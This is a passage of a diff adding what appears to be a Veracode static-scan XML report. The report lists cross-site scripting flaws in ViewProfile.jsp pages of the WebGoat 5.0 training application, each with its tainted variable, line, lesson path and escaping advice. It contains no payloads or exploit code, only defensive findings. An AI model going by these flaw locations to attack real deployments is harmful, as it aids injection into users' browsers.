+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"18\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"143\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"234\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"22\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"96\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"33\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"212\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"198\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"34\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"153\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
